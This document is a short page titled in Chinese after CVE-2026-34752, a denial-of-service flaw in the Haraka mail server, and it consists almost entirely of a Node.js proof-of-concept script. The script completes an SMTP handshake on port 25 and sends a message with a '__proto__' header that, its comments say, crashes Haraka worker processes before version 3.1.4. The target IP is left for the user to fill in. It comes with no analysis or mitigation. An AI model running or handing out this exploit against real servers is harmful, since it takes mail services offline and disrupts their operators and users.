CVE-2026-34752 Haraka邮件服务器拒绝服务漏洞

// PoC for CVE-2026-34752 // This script sends an email with a '__proto__' header to crash the Haraka worker process. const net = require('net'); const targetHost = '127.0.0.1'; // Replace with target IP const targetPort = 25; const socket = net.connect(targetPort, targetHost, () => { console.log('[+] Connected to target'); // SMTP Handshake socket.write('EHLO poc.example.com\r\n'); setTimeout(() => { // MAIL FROM socket.write('MAIL FROM: <[email protected]>\r\n'); }, 500); setTimeout(() => { // RCPT TO socket.write('RCPT TO: <[email protected]>\r\n'); }, 1000); setTimeout(() => { // DATA command socket.write('DATA\r\n'); }, 1500); setTimeout(() => { // Malicious payload: Sending '__proto__' header // This triggers the vulnerability in Haraka < 3.1.4 let payload = 'Subject: Crash Test\r\n'; payload += '__proto__: crash\r\n'; // The vulnerable header payload += '\r\n'; payload += 'This email will crash the server.\r\n'; payload += '.\r\n'; // End of data marker socket.write(payload); console.log('[+] Payload sent'); }, 2000); setTimeout(() => { socket.end(); }, 3000); }); socket.on('error', (err) => { console.error('[-] Connection error:', err.message); });